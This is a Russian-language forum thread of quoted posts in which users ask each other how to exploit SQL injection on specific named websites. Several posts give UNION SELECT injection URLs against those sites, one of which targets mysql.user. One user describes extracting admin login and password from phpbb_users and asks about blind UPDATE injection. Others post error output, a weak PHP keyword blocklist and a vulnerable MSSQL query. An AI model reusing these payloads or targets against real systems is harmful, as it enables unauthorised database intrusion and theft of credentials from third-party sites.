quote:

ORIGINAL: niren

http://www.magicdrum.ru/shop.php?id=-1+union+select+1,user.usrname+from+mysql.user/*
помогите разобраться с ссылочкой…

quote:

Invalid query articles 4:
SELECT * FROM art_list WHERE id=-18 union select 1,1,1
The used SELECT statements have a different number of columns

quote:

Invalid query articles 2:
SELECT * FROM articles WHERE id_list=-18 union select 1,1,1,1 ORDER BY top
The used SELECT statements have a different number of columns

quote:

ORIGINAL: ДомосеД

А я, вот нашел такую ахинею http://www.cosmetic.com.ua/articles/a18'
Но так ни4ё и не смог сделать толком. Пытался выводить имена таблиц, но опять ни4ё: acess denied-вроде. Мож просто толком не выу4ил, не то делал.
Так 4ё подможете, иль как?

quote:

ORIGINAL: junga

Dimonelite спасибо за ответ, но мне нужен совет, что сделать, что бы узнать эту информацию?

quote:

ORIGINAL: Copper

А теперь вопрос как мне увидеть результат на клиенте?

quote:

ORIGINAL: KRESTOF

подскажите пожалуйста что дальше с этим делать
http://www.fasie.ru/index.php?rid=120`

quote:

ORIGINAL: Dimonelite
На каком клиенте? Я ничего не понял.

quote:

ORIGINAL: Copper

quote:

ORIGINAL: Dimonelite
На каком клиенте? Я ничего не понял.

В браузере, если сервер выполняет запрос, но возращает только первую строку sql-таблицы, т.е. описание картинки и автора.

quote:

ORIGINAL: Copper

Тогда сайт выдает -> У вас нет прав для редактирования этого изображения. Вот мой запрос http://www.site.ru/index.php?ind=gallery&op=edit_file&iden=1+UNION+SELECT+NULL%2Clogin%2Cpassword%2CNULL%2CNULL+FROM+phpbb_users+WHERE+user_id=2. Часть http://www.site.ru/index.php?ind=gallery&op=edit_file&iden= стандартная. Далее грузим изображение на сервер и запоминаем его iden. Это позволит нам выполнить инъекцию UNION+SELECT+NULL%2Clogin%2Cpassword%2CNULL%2CNULL+FROM+phpbb_users+WHERE+user_id=2. Она и выполняется в результате имеем таблицу 1 -строка NULL,Название_картинки,Описание,NULL,NULL и 2 строка NULL,Admin,Password,NULL,NULL. Но браузер возратит только первую строку. В догонку, если невозможно вывести вторую строку, как мне составить запрос вида UNION UPDATE …, т.е. вслепую рулить базой данных??

quote:

ORIGINAL: Copper

1) Ещё раз при iden = -1 union select -> Ошибка, нет прав редактировать изображение
2) Попробую, а что делает limit 0,1. Если на сайте vBulletin -> то как называется столбец с пользователями и паролями??
3) Получается добавить можно только выборку?

quote:


function antiinjection($str)
{
$banwords = array ("'", ",", ";", "–","DROP", "SELECT", "UPDATE", "DELETE", "-");
if (eregi("[a-zA-Z0-9]+", $str))
{
$str = str_replace($banwords, '', $str);
}
else
{
$str = NULL;
}
return $str;
}

quote:

ORIGINAL: Lex_Voodoo

relline - вопрос с точки зрения взломщика или кодера? Если кодера - читай http://forum.xakep.ru/fb.aspx?m=655311

quote:


$result=mssql_query("
SELECT *
FROM (SELECT TOP 10000 a.char_name, a.Lev, a.builder, a.class, a.use_time,
a.PK, a.Duel, a.gender, a.Exp, a.char_id, a.login, a.logout, b.name, b.pledge_id
FROM user_data as a
left join user_showinstat as c on a.char_id=c.char_id
left join pledge as b on a.Pledge_id=b.pledge_id
WHERE char_name not in (".("'".join("','",$exclude_from_top)."'").") and (account_id>0) and (builder = 0) and (class = N'$indx')
ORDER BY Exp Desc) DERIVEDTBL
order by exp desc");

quote:

ORIGINAL: Prodex

http://www.rosmed.ru/news.php?act=by_id&news_id=130' , а что дальше то …???